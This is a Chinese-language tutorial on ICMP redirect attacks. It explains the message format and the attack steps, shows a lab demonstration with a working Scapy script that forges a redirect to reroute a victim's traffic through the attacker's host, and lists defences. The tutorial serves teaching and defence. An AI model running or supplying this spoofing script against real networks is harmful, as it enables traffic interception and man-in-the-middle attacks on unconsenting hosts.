一、介绍
ICMP重定向攻击(ICMP Redirect Attack)是一种网络攻击,攻击者通过发送伪造的ICMP重定向消息,诱使目标主机更新其路由表,以便将数据包发送到攻击者控制的路由器或其他不可信任的设备上。该攻击利用了ICMP协议的合法功能,但以恶意方式使用,从而劫持或中断目标主机的网络流量。
1.1 ICMP重定向消息的工作原理
ICMP(Internet Control Message Protocol,互联网控制消息协议)是一种用于传递控制消息的协议,主要用于报告网络设备之间的通信问题。ICMP重定向消息用于通知主机,数据包可以通过一个更好的路径传输,从而优化网络流量。典型的ICMP重定向消息格式如下:
- 类型(Type):5(表示ICMP重定向消息)
- 代码(Code):
- 0:用于网络的重定向
- 1:用于主机的重定向
- 2:用于服务类型和网络的重定向
- 3:用于服务类型和主机的重定向
- 校验和(Checksum):用于检测错误的校验和
- 网关IP地址(Gateway Address):建议的数据包应发送到的新路由器的IP地址
- 数据:包含原始数据包的IP头和前8个字节,以便目标主机识别被重定向的会话
1.2 ICMP重定向攻击的步骤
- 捕获合法数据包:攻击者首先在网络上嗅探流量,捕获目标主机和合法路由器之间的通信。
- 伪造ICMP重定向消息:攻击者构造一个伪造的ICMP重定向消息,指定目标主机应将特定数据包发送到攻击者控制的设备。
- 发送ICMP重定向消息:攻击者将伪造的ICMP重定向消息发送到目标主机,诱使目标主机更新其路由表。
- 劫持或中断流量:一旦目标主机更新了其路由表,攻击者可以劫持或中断目标主机的网络流量。
二、实验环境
攻击者:192.168.134.147
受害者 A:192.168.134.148
受害者 B:192.168.134.149
三、实操演示
以下示例代码展示了如何使用Scapy构造和发送伪造的ICMP重定向消息
from scapy.all import *
from scapy.layers.inet import ICMP
def icmp_redirect_attack(target_ip, target_gateway, new_gateway):
# 构造ICMP重定向消息
ip = IP(src=target_gateway, dst=target_ip)
icmp = ICMP(type=5, code=1, gw=new_gateway) # code 1 表示主机重定向
original_packet = IP(src=target_ip, dst="192.168.134.149") / ICMP() # 假设目标主机要访问 192.168.134.149
icmp_redirect = ip / icmp / original_packet
send(icmp_redirect)
print(f"Sent ICMP redirect from {target_gateway} to {target_ip} with new gateway {new_gateway}")
if __name__ == "__main__":
target_ip = "192.168.134.148" # 目标主机的IP地址
target_gateway = "192.168.134.2" # 目标主机当前的网关
new_gateway = "192.168.134.147" # 伪造的新网关(攻击者控制的设备)
icmp_redirect_attack(target_ip, target_gateway, new_gateway)
受害者 A 接受到了伪造的 ICMP 包
四、防御措施
防御ICMP重定向攻击的措施主要包括以下几点:
-
禁用ICMP重定向消息:在主机和路由器上禁用ICMP重定向消息,以防止接收和处理重定向消息。这可以通过配置操作系统参数来实现,例如在Linux系统上,可以将
/proc/sys/net/ipv4/conf/all/accept_redirects
和/proc/sys/net/ipv4/conf/default/accept_redirects
设置为0来禁用ICMP重定向。 -
配置防火墙规则:使用防火墙规则过滤和阻止ICMP重定向消息。管理员可以在防火墙上添加规则,以丢弃或拦截传入的ICMP重定向消息。
-
启用安全特性:启用网络设备上的安全特性,如动态ARP检查(Dynamic ARP Inspection,DAI)和IP Source Guard,以防止网络攻击。这些特性可以帮助检测和阻止恶意ARP和IP地址欺骗行为,从而提高网络的安全性。
-
网络设备升级和配置审查:定期升级和维护网络设备的固件或软件,并对设备的配置进行审查和调整。确保设备上运行的软件版本没有已知的安全漏洞,并且配置符合最佳安全实践。
-
监控和报警:使用入侵检测系统(Intrusion Detection System,IDS)和入侵防御系统(Intrusion Prevention System,IPS)来监控网络流量,并在检测到可疑的ICMP重定向消息或其他攻击行为时触发警报。及时发现并应对恶意活动可以有效地减少攻击造成的损失。
通过综合使用上述防御措施,可以有效地保护网络免受ICMP重定向攻击和其他网络攻击的影响,提高网络的安全性和稳定性